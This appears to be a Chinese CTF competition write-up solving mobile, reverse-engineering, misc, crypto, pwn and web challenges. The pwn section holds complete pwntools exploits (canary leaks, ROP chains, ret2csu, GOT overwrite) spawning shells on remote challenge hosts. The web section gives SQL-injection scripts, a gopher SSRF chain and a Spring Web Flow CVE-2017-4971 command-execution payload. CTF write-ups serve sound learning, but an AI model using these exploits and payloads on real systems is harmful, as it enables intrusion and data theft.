Mobile
AreYouRich
JEB分析可知用户名需要10位，密码是用户名异或一个常数+@001
后续分析发现flag是根据用户名和密码生成的，在另一个类里找到提示，发现RC4加密，提取密文密钥解密。
密文：0x51,0xf3,0x54,0x92,0x48,0x4d,0xa0,0x4d,0x20,0x8d,0xb5,0xda,0x9f,0x45,0xc0,0x31,0x8e,0x53,0x87,0x2b,0xca,0xe4,0xc9,0x6d,0x0e
key:5FQ5AaBGbqLGfYwjaRAuWGdDvyjbX5nH
得到异或keyvvvvipuser_TTTTKRWQGP@001
密文0f460329013023403a32006564630b7b34083c773e73491110
异或得到flag
y0uh@V3@_107_0f_m0n3y!!
DesignEachStep
直接使用JEB动态调试，每次比对时断下可以找到key
key1:DE5_c0mp
key2:r355_m@y
key3:_c0nfu53
DE5_c0mpr355_m@y_c0nfu53
RE
petition
栈上的异或加密，IDAPython脚本提取即可。
from idaapi import *
from idc import *
def getflag(func_addr):
end_addr = ida_funcs.get_func(func_addr).end_ea
addr = func_addr + 8
key = []
while(addr<end_addr):
ins = print_insn_mnem(addr)
if(ins == 'xor' and get_operand_type(addr,1)==5 and get_operand_type(addr,0)==1):
key.append(get_operand_value(addr,1))
#print(generate_disasm_line(addr, flags=0))
addr = next_head(addr)
flag = key[0]
for i in range(1,len(key)):
flag^=key[i]
print(chr(flag&0xff),end='')
return
sub = [0x119C,0x122A,0x12B8,0x1344,0x13D0,0x145C,0x14E8,0x1574,0x1602,0x168E,0x171C,0x17A6,0x1834,0x18C2,0x194E,0x19DA,0x1A64,0x1AEE,0x1B7A,0x1C06,0x1C94,0x1D20,0x1DAA,0x1E34,0x1EC2,0x1F4E,0x1FDA,0x2064,0x20F0,0x217A,0x2208,0x2292,0x231E,0x23AC,0x243A,0x24C4,0x2552,0x25DE,0x266C,0x26FA,0x2784,0x2810]
for i in sub:
getflag(i)
Locke
ollvm混淆，使用deflat脚本可以去除大部分混淆，分析可知是一些散列和加密组成的验证，过程为
Blowfish -> ROT13 -> AES -> RC4 -> SHA1 -> Base58 -> sha256 -> md2 -> des -> md5。
都需要爆破，经过实验可知字符集为asdfghjkl。
Blowfish
import blowfish
a = 0xD79FD778F60C9E9F
t = "asdfghjkl"
a = int.to_bytes(a,8,byteorder='little')
for e1 in range(0,len(t)):
print("yes1")
for e2 in range(0,len(t)):
for e3 in range(0,len(t)):
for e4 in range(0,len(t)):
x = b"MeowMeow"
tmp = (t[e1] + t[e2] + t[e3] + t[e4]).encode()
tmp += int.to_bytes(0x72668754,4,byteorder='little')
cipher = blowfish.Cipher(tmp)
if cipher.encrypt_block(x) == a:
print((t[e1] + t[e2] + t[e3] + t[e4]).encode())
exit(0)
# gagf
ROT13
khgs
AES
from Crypto.Cipher import AES
mode = AES.MODE_ECB
key = b"YouNeedaPassword"
l1 = [0x44, 0x32, 0x66, 0xCB, 0xAB, 0xE9, 0x2F, 0x97, 0xED, 0x34, 0x92, 0xA7, 0x3C, 0x94, 0xB0, 0xEE]
t = "asdfghjkl"
for e1 in range(0,len(t)):
print("ok")
for e2 in range(0,len(t)):
for e3 in range(0,len(t)):
for e4 in range(0,len(t)):
tmp = (t[e1] + t[e2] + t[e3] + t[e4]).encode()
a = tmp + int.to_bytes(0xF889D441683FBCEFECE468CD,12,byteorder='little') + bytes([0x29,0x2E,0x29,0x60,0xF6,0xDE,0x84,0x1A,0x50,0xE7,0x3E,0xEC,0x4D,0x5A,0x2A,0x7C])
c = AES.new(a,mode)
m = c.encrypt(key)
if b"\x44\x32\x66" in m:
print(a)
print(m)
# gdgf
-> RC4
// ConsoleApplication4.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
using namespace std;
void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++)
{
s[i] = i;//赋值0到256
k[i] = key[i%Len];//key循环利用
}
for (i = 0; i < 256; i++)
{
j = (j + s[i] + k[i]) % 256;//把第i个和第(s[i]+k[i]+前一个j)个交换
tmp = s[i];
s[i] = s[j]; //交换s[i]和s[j]
s[j] = tmp;
}
}//目的是用密钥生成特定的表
void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len; k++)
{
i = (i + 1) % 256;//i = 0；i++
j = (j + s[i]) % 256;//j是前一个j+s[i]
tmp = s[i];
s[i] = s[j]; //交换s[i]和s[j]
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] ^= s[t];//数据异或第s[i]+s[j]个
}
}
int main()
{
unsigned char s[256] = { 0 };//S-box
char key[256] = { "jkhd" };
char table[] = { "asdfghjkl" };
unsigned char cmpData[512] = "<<<<Now you need a keycard>>>>";
for (int e1 = 0; e1 < 10; e1++)
{
printf("ok\n");
for (int e2 = 0; e2 < 10; e2++)
{
for (int e3 = 0; e3 < 10; e3++)
{
for (int e4 = 0; e4 < 10; e4++)
{
unsigned char pData[512] = "<<<<Now you need a keycard>>>>";
key[0] = table[e1];
key[1] = table[e2];
key[2] = table[e3];
key[3] = table[e4];
//printf("%s\n", key);
memset(s, 0, 256);
rc4_init(s, (unsigned char*)key, 4); //已经完成了初始化
rc4_crypt(s, (unsigned char*)pData, 30);//加密
if (pData[0] = 0x3F && pData[1] == 0x9F && pData[2] == 0x30)
{
printf("====%s\n", key);
for (int i = 0; i < 10; i++)
{
printf("%x ", pData[i]);
}
}
}
}
}
}
return 0;
}
//jkhd
SHA1
./hashcat.exe -a 3 -m 100 360da9b53004607fc73322aed93ef2e2534989c9 ?a?a?a?a
#360da9b53004607fc73322aed93ef2e2534989c9:
lkfh
Base58
dslkfg
sha256 0x33
./hashcat.exe -a 3 -m 6000 3080974a55c4a477e90348ed8edb0251 ?a?a?a?a
073ea0c645230edbfccd8c87d3ee5287bcf0313b2ac86c94906b3d42231d6964:
ahgh
md2
from Crypto.Hash import MD2
txt = "3080974a55c4a477e90348ed8edb0251"
t = 'asdfghjkl'
for i in t:
for j in t:
for k in t:
for m in t:
tmp = i+j+k+m
if (MD2.new(tmp.encode("utf8")).hexdigest()==txt):
print(tmp)
#dsgf
des 最后四字节，直接程序爆破
from subprocess import Popen,PIPE
path = './Locke_recovered'
table = "asdfghjkl"
for i in table:
for j in table:
print("ok1")
for k in table:
for l in table:
p = Popen (path,stdin = PIPE,stdout = PIPE)
ans = "gagfkhgsgdgfjkhdlkfhdslkfgahghdsgf" + i + j + k + l + "dfhs"
p.stdin.write(ans.encode())##转成bytes
result = p.communicate()[0]
if b"flag" in result:
print(result)
print(ans)
md5 直接cmd5查
dfhs
最后连起来即可
MISC
new_misc
把解压的pdf扔进wbStego4open，无密码解密即可得
flag{verY_g00d_YoU_f0und_th1s}
流量分析
直接正则匹配
import re
s = r"from%20t\),([0-9]*),1\)\)=([0-9]*)"
pat = re.compile(s)
f = open("timu.pcapng","rb")
st = f.read().decode("utf-8","ignore")
lis = pat.findall(st)
aa = ['' for i in range(1000)]
for t in lis:
aa[int(t[0])] = chr(int(t[1]))
for i in aa:
print(i,end="")
#flag{w1reshARK_ez_1sntit}~~~~<
flag{w1reshARK_ez_1sntit}
A_MISC
爆破压缩包密码得到qwer
修改图片高度得到
https://pan.baidu.com/s/1cG2QvYy3khpQGLfjfbYevg
提取码cavb
同样的做法
import re
s = r"from%20t\),([0-9]*),1\)\)=([0-9]*)"
pat = re.compile(s)
f = open("timu.pcapng","rb")
st = f.read().decode("utf-8","ignore")
lis = pat.findall(st)
aa = ['' for i in range(1000)]
for t in lis:
aa[int(t[0])] = chr(int(t[1]))
for i in aa:
print(i,end="")
flag{cd2c3e2fea463ded9af800d7155be7aq}
MISC2
LSB隐写提取得到
flag{h0w_4bouT_enc0de_4nd_pnG}
直接cyberchef解码
flag{h0w_4bouT_enc0de_4nd_pnG}
MI
Crypto
a_crypto
http://www.3fwork.com/kaifa200/004475MYM012472/
easy_crypto
社会主义核心价值观解密
babyrsa
from gmpy2 import *
from Crypto.Util.number import *
p1 = 1514296530850131082973956029074258536069144071110652176122006763622293335057110441067910479
q0 = 40812438243894343296354573724131194431453023461572200856406939246297219541329623
n = 21815431662065695412834116602474344081782093119269423403335882867255834302242945742413692949886248581138784199165404321893594820375775454774521554409598568793217997859258282700084148322905405227238617443766062207618899209593375881728671746850745598576485323702483634599597393910908142659231071532803602701147251570567032402848145462183405098097523810358199597631612616833723150146418889589492395974359466777040500971885443881359700735149623177757865032984744576285054725506299888069904106805731600019058631951255795316571242969336763938805465676269140733371287244624066632153110685509892188900004952700111937292221969
mod=pow(2,265)
p0=n*invert(q0,mod)%mod
pbar=(p1<<724)+p0
PR.<x> = PolynomialRing(Zmod(n))
for i in range(32):
f=pbar+x*mod*32
f=f.monic()
pp=f.small_roots(X=2^454,beta=0.4)
if(pp):
break
pbar+=mod
p=pbar+pp[0]*32*mod
assert n%p==0
print(p)
q=n//p
phi=(p-1)*(q-1)
e=65537
d=invert(e,phi)
c=19073695285772829730103928222962723784199491145730661021332365516942301513989932980896145664842527253998170902799883262567366661277268801440634319694884564820420852947935710798269700777126717746701065483129644585829522353341718916661536894041337878440111845645200627940640539279744348235772441988748977191513786620459922039153862250137904894008551515928486867493608757307981955335488977402307933930592035163126858060189156114410872337004784951228340994743202032248681976932591575016798640429231399974090325134545852080425047146251781339862753527319093938929691759486362536986249207187765947926921267520150073408188188
m=pow(c,d,n)
print(long_to_bytes(m))
#flag{ef5e1582-8116-4f61-b458-f793dc03f2ff}
Crazy_Rsa_Tech
# -*- coding: cp936 -*-
import gmpy2
import time
def CRT(items):
N = reduce(lambda x, y: x * y, (i[1] for i in items))
result = 0
for a, n in items:
m = N / n
d, r, s = gmpy2.gcdext(n, m)
if d != 1: raise Exception("Input not pairwise co-prime")
result += a * s * m
return result % N, N
# 读入 e, n, c
e = 9
n = [71189786319102608575263218254922479901008514616376166401353025325668690465852130559783959409002115897148828732231478529655075366072137059589917001875303598680931962384468363842379833044123189276199264340224973914079447846845897807085694711541719515881377391200011269924562049643835131619086349617062034608799, 92503831027754984321994282254005318198418454777812045042619263533423066848097985191386666241913483806726751133691867010696758828674382946375162423033994046273252417389169779506788545647848951018539441971140081528915876529645525880324658212147388232683347292192795975558548712504744297104487514691170935149949, 100993952830138414466948640139083231443558390127247779484027818354177479632421980458019929149817002579508423291678953554090956334137167905685261724759487245658147039684536216616744746196651390112540237050493468689520465897258378216693418610879245129435268327315158194612110422630337395790254881602124839071919, 59138293747457431012165762343997972673625934330232909935732464725128776212729547237438509546925172847581735769773563840639187946741161318153031173864953372796950422229629824699580131369991913883136821374596762214064774480548532035315344368010507644630655604478651898097886873485265848973185431559958627423847, 66827868958054485359731420968595906328820823695638132426084478524423658597714990545142120448668257273436546456116147999073797943388584861050133103137697812149742551913704341990467090049650721713913812069904136198912314243175309387952328961054617877059134151915723594900209641163321839502908705301293546584147, 120940513339890268554625391482989102665030083707530690312336379356969219966820079510946652021721814016286307318930536030308296265425674637215009052078834615196224917417698019787514831973471113022781129000531459800329018133248426080717653298100515701379374786486337920294380753805825328119757649844054966712377, 72186594495190221129349814154999705524005203343018940547856004977368023856950836974465616291478257156860734574686154136925776069045232149725101769594505766718123155028300703627531567850035682448632166309129911061492630709698934310123778699316856399909549674138453085885820110724923723830686564968967391721281, 69105037583161467265649176715175579387938714721653281201847973223975467813529036844308693237404592381480367515044829190066606146105800243199497182114398931410844901178842049915914390117503986044951461783780327749665912369177733246873697481544777183820939967036346862056795919812693669387731294595126647751951, 76194219445824867986050004226602973283400885106636660263597964027139613163638212828932901192009131346530898961165310615466747046710743013409318156266326090650584190382130795884514074647833949281109675170830565650006906028402714868781834693473191228256626654011772428115359653448111208831188721505467497494581]
c = [62580922178008480377006528793506649089253164524883696044759651305970802215270721223149734532870729533611357047595181907404222690394917605617029675103788705320032707977225447998111744887898039756375876685711148857676502670812333076878964148863713993853526715855758799502735753454247721711366497722251078739585, 46186240819076690248235492196228128599822002268014359444368898414937734806009161030424589993541799877081745454934484263188270879142125136786221625234555265815513136730416539407710862948861531339065039071959576035606192732936477944770308784472646015244527805057990939765708793705044236665364664490419874206900, 85756449024868529058704599481168414715291172247059370174556127800630896693021701121075838517372920466708826412897794900729896389468152213884232173410022054605870785910461728567377769960823103334874807744107855490558726013068890632637193410610478514663078901021307258078678427928255699031215654693270240640198, 14388767329946097216670270960679686032536707277732968784379505904021622612991917314721678940833050736745004078559116326396233622519356703639737886289595860359630019239654690312132039876082685046329079266785042428947147658321799501605837784127004536996628492065409017175037161261039765340032473048737319069656, 1143736792108232890306863524988028098730927600066491485326214420279375304665896453544100447027809433141790331191324806205845009336228331138326163746853197990596700523328423791764843694671580875538251166864957646807184041817863314204516355683663859246677105132100377322669627893863885482167305919925159944839, 2978800921927631161807562509445310353414810029862911925227583943849942080514132963605492727604495513988707849133045851539412276254555228149742924149242124724864770049898278052042163392380895275970574317984638058768854065506927848951716677514095183559625442889028813635385408810698294574175092159389388091981, 16200944263352278316040095503540249310705602580329203494665614035841657418101517016718103326928336623132935178377208651067093136976383774189554806135146237406248538919915426183225265103769259990252162411307338473817114996409705345401251435268136647166395894099897737607312110866874944619080871831772376466376, 31551601425575677138046998360378916515711528548963089502535903329268089950335615563205720969393649713416910860593823506545030969355111753902391336139384464585775439245735448030993755229554555004154084649002801255396359097917380427525820249562148313977941413268787799534165652742114031759562268691233834820996, 25288164985739570635307839193110091356864302148147148153228604718807817833935053919412276187989509493755136905193728864674684139319708358686431424793278248263545370628718355096523088238513079652226028236137381367215156975121794485995030822902933639803569133458328681148758392333073624280222354763268512333515]
print '[+]Detecting m...'
data = zip(c, n)
x, n = CRT(data)
realnum = gmpy2.iroot(gmpy2.mpz(x), e)[0].digits()
print ' [-]m is: ' + '{:x}'.format(int(realnum)).decode('hex')
print '[!]All Done!'
PWN
littleof
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
#r = process("./littleof")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
r = remote("182.116.62.85",27056)
libc = ELF("./libc-2.27.so")
payload = "a" * 8 * 9
r.sendlineafter("Do you know how to do buffer overflow?\n",payload)
r.recvuntil(payload + "\n")
canary = u64(r.recv(7).rjust(8,"\x00"))
stack = u64(r.recv(6).ljust(8,"\x00"))
success("canary : " + hex(canary))
success("stack : " + hex(stack))
payload = "a" * 8 * 9
payload += p64(canary)
payload += p64(stack)
payload += p64(0x4007f1)
payload += p64(0x400800)
payload += p64(0x400860)
payload += p64(0)
payload += p64(0)
payload += p64(0x400789)
r.sendlineafter("harder!",payload)
payload = "a" * 8
r.sendlineafter("Do you know how to do buffer overflow?\n",payload)
r.recvuntil(payload)
libc_base = u64(r.recv(6).ljust(8,"\x00")) - 0xa - libc.sym["_IO_2_1_stdin_"]
success("libc_base : " + hex(libc_base))
p_rdi_r = libc_base + 0x00000000000215bf
p_rsi_r = libc_base + 0x0000000000023eea
p_rdx_r = libc_base + 0x0000000000001b96
sh_addr = libc_base + libc.search('/bin/sh').next()
system_addr = libc_base + libc.sym["execve"]
payload = "a" * 8 * 9
payload += p64(canary)
payload += "b" * 8
payload += p64(p_rdi_r)
payload += p64(sh_addr)
payload += p64(p_rsi_r)
payload += p64(0)
payload += p64(p_rdx_r)
payload += p64(0)
payload += p64(system_addr)
r.sendlineafter("harder!",payload)
r.interactive()
babyof
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
def ret2csu(offset,csu_end_addr,csu_front_addr,rdx,rsi,edi,call_target,last_ret,rbx = 0,rbp = 1):
'''
rdx = r15
rsi = r14
edi = r13d
call [r12 + rbx * 8]
rbx + 1 == rbp
'''
payload = ""
payload += "a" * offset
payload += "b" * 0x8
payload += p64(csu_end_addr) # ret_addr
payload += p64(rbx) # rbx
payload += p64(rbp) # rbp
payload += p64(call_target) # r12
payload += p64(edi) # r13
payload += p64(rsi) # r14
payload += p64(rdx) # r15
payload += p64(csu_front_addr)
payload += p64(0) * 7
payload += p64(last_ret)
return payload
#r = process("./babyof")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./babyof")
r = remote("182.116.62.85",21613)
libc = ELF("./libc-2.27.so")
r.recvuntil("Do you know how to do buffer overflow?")
# puts(puts_got)
edi = elf.got["puts"]
rsi = 0
rdx = 0
call_target = elf.got["puts"]
main_addr = 0x40066B
payload = ret2csu(0x40,0x40073A,0x400720,rdx,rsi,edi,call_target,main_addr)
r.sendline(payload)
r.recvuntil("I hope you win\n")
libc_base = u64(r.recvuntil("\n",drop = True).ljust(8,"\x00")) - libc.sym["puts"]
success("libc_base : " + hex(libc_base))
# read(0,bss_base,0x10)
bss_base = 0x601100
edi = 0
rsi = bss_base
rdx = 0x10
call_target = elf.got["read"]
main_addr = 0x40066B
payload = ret2csu(0x40,0x40073A,0x400720,rdx,rsi,edi,call_target,main_addr)
r.send(payload)
sleep(0.5)
execve_addr = libc_base + libc.sym["execve"]
payload = ""
payload += p64(execve_addr)
payload += "/bin/sh\x00"
r.send(payload)
# execve("/bin/sh")
edi = bss_base + 8
rsi = 0
rdx = 0
call_target = bss_base
main_addr = 0x40066B
payload = ret2csu(0x40,0x40073A,0x400720,rdx,rsi,edi,call_target,main_addr)
r.send(payload)
r.interactive()
onecho
from pwn import *
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
def dbg(cmd = ""):
gdb.attach(r,cmd)
#r = process("./onecho")
#libc = ELF("/usr/lib/i386-linux-gnu/libc-2.31.so")
elf = ELF("./onecho")
r = remote("182.116.62.85",24143)
libc = ELF("./libc.so.6")
main_addr = 0x8049220
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
bss_addr = 0x0804C100
p_ebx_r = 0x08049022
p_edi_ebp_r = 0x08049812
payload = b"./flag\x00"
payload += b"a" * (0x10c-7)
payload += b"b" * 4
payload += p32(p_ebx_r)
payload += p32(bss_addr)
payload += p32(puts_plt)
payload += p32(0x804973F)
payload += p32(puts_got)
r.sendlineafter("Input your name:\n",payload)
libc_base = u32(r.recv(4)) - libc.sym["puts"]
success(f"libc_base : {hex(libc_base)}")
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
# dbg("b *0x804966D")
# open("./flag")
payload = b"./flag\x00"
payload += b"a" * (0x10c-7)
payload += b"b" * 4
payload += p32(p_edi_ebp_r)
payload += p32(bss_addr)
payload += p32(1)
payload += p32(open_addr)
payload += p32(0x804973F)
payload += p32(bss_addr)
r.sendlineafter("Input your name:\n",payload)
# read(3,bss+0x200,0x40)
payload = b"./flag\x00"
payload += b"a" * (0x10c-7)
payload += b"b" * 4
payload += p32(p_edi_ebp_r)
payload += p32(bss_addr)
payload += p32(1)
payload += p32(read_addr)
payload += p32(0x804973F)
payload += p32(3)
payload += p32(bss_addr+0x200)
payload += p32(0x40)
r.sendlineafter("Input your name:\n",payload)
# write(1,bss+0x200,0x40)
payload = b"./flag\x00"
payload += b"a" * (0x10c-7)
payload += b"b" * 4
payload += p32(p_edi_ebp_r)
payload += p32(bss_addr)
payload += p32(1)
payload += p32(write_addr)
payload += p32(0x804973F)
payload += p32(1)
payload += p32(bss_addr+0x200)
payload += p32(0x40)
r.sendlineafter("Input your name:\n",payload)
r.interactive()
pwn1
#coding:utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
debug = 0
if debug == 1:
r = process('./pwn')
# gdb.attach(r)
else:
r = remote('182.116.62.85',24199)
def add(name, price, descrip_size, description):
r.recvuntil('your choice>> ')
r.send('1\n')
r.recvuntil('name:')
r.send(name + '\n')
r.recvuntil('price:')
r.send(str(price) + '\n')
r.recvuntil('descrip_size:')
r.send(str(descrip_size) + '\n')
r.recvuntil('description:')
r.send(str(description) + '\n')
def dele(name):
r.recvuntil('your choice>> ')
r.send('2\n')
r.recvuntil('name:')
r.send(name + '\n')
def lis():
r.recvuntil('your choice>> ')
r.send('3\n')
r.recvuntil('all commodities info list below:\n')
return r.recvuntil('\n---------menu---------')[:-len('\n---------menu---------')]
def changePrice(name, price):
r.recvuntil('your choice>> ')
r.send('4\n')
r.recvuntil('name:')
r.send(name + '\n')
r.recvuntil('input the value you want to cut or rise in:')
r.send(str(price) + '\n')
def changeDes(name, descrip_size, description):
r.recvuntil('your choice>> ')
r.send('5\n')
r.recvuntil('name:')
r.send(name + '\n')
r.recvuntil('descrip_size:')
r.send(str(descrip_size) + '\n')
r.recvuntil('description:')
r.send(description + '\n')
def exit():
r.recvuntil('your choice>> ')
r.send('6\n')
add('1', 10, 8, 'a')
add('2', 10, 0x98, 'a')
add('3', 10, 4, 'a')
changeDes('2', 0x100, 'a')
add('4', 10, 4, 'a')
def leak_one(address):
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(address))
res = lis().split('des.')[-1]
if(res == '\n'):
return '\x00'
return res[0]
def leak(address):
content = leak_one(address) + leak_one(address + 1) + leak_one(address + 2) + leak_one(address + 3)
log.info('%#x => %#x'%(address, u32(content)))
return content
#d = DynELF(leak, elf = ELF('./pwn'))
malloc_addr = u32(leak(0x804b028))
log.info("malloc_addr = " + hex(malloc_addr))
obj = LibcSearcher("malloc",malloc_addr)
libcbase = malloc_addr - obj.dump("malloc")
system_addr = libcbase + obj.dump("system")
log.info('system \'s address = %#x'%(system_addr))
bin_addr = 0x0804B0B8
changeDes('1', 0x8, '/bin/sh\x00')
changeDes('2', 0x98, '4' + '\x00' * 0xf + p32(2) + p32(0x8) + p32(0x0804B018))
changeDes('4', 8, p32(system_addr))
dele('1')
r.interactive()
easyecho
from pwn import *
context.log_level = 'debug'
p = process("./easyecho")
p.recvuntil("Name: ")
p.send('a'*0x10)
p.recvuntil('a'*0x10)
leak = u64(p.recvn(6)+b'\x00\x00')
log.info("leak = " + hex(leak))
codebase = leak + 0x555555400000 - 0x555555400cf0
flag = codebase + 0x000000000202040
p.recvuntil("Input: ")
p.sendline("backdoor\x00")
p.recvuntil("Input: ")
#gdb.attach(p)
p.sendline(p64(flag)*0x50)
p.recvuntil("Input: ")
p.sendline("exitexit\x00")
p.interactive()
WEB
middle_magic
绕过正则：
/?aaa=%0apass_the_level_1%23
sha1用数组绕过，还有一个弱比较，用true绕过
最后payload
POST：
admin[]=1&root_pwd[]=2&level_3={"result":true}
easy_sql_2
version:8.0.26-0ubuntu0.20.04.2
import requests
url = 'http://182.116.62.85:26571/login.php'
res = 'flag{spMG94bd95z7h07ZZhCFXQutxY'
for i in range(32):
for x in range(33,127):
if chr(x) not in '\'\\"#$^%':
"""
data = {
"username":'''admin'/**/and/**/(('ctf','{}',3,4,5,6)<(table/**/mysql.innodb_table_stats/**/limit/**/0,1))#'''.format(res+chr(x)),
"password":"123"
}
"""
data = {
"username":'''admin'/**/and/**/(binary('{}')<(table/**/fl11aag/**/limit/**/1,1))#'''.format(res+chr(x)),
"password":"123"
}
#print(data)
r = requests.post(url,data=data)
#print(r.text)
if "username error!" in r.text:
res += chr(x-1)
print(res)
break
easy_sql_1
use.php有个curl
可以用gopher协议访问到index.php
用admin:admin登录成功后，出现cookie，是base64后的username
在cookie处存在注入，可以通过报错拿到flag
import requests
import urllib.parse
import base64
url = 'http://182.116.62.85:28303/use.php'
sqlpayload = 'uname=admin&passwd=admin&Submit=1'
cookie = b'''this_is_your_cookie=admin') and updatexml(1,concat(0x7e,(select substr((select flag from flag),1,40))),1)#'''
sqlbody1 = '''POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-type:application/x-www-form-urlencoded
Content-Length: {}
{}
'''.replace('\n','\r\n').format(len(sqlpayload),sqlpayload)
sqlbody = '''GET /index.php HTTP/1.1
Host: 127.0.0.1
Cookie: PHPSESSID=3qip5l91lc1jtal09u9h40tkp0;this_is_your_cookie={}
'''.replace('\n','\r\n').format(urllib.parse.quote(str(base64.b64encode(cookie),encoding='utf-8')))
print(sqlbody)
gopher_payload = urllib.parse.quote('gopher://127.0.0.1:80/_'+ urllib.parse.quote(sqlbody))
r = requests.get(url+'?url='+gopher_payload)
print(r.text)
easyP
第一个正则匹配结尾部分，后面加字符绕过，结合basename无法处理非ascii字符，在后面添加%ff
basename就会获取到utils.php
第二个正则url编码绕过
/index.php/utils.php/%ff?show%5fsource=1
Spring
CVE-2017-4971
Spring Web Flow 远程代码执行漏洞复现
Confirm处添加恶意数据即可实现命令执行
如：
&_(new+java.lang.ProcessBuilder("/bin/bash","/tmp/shell.sh")).start()=feifei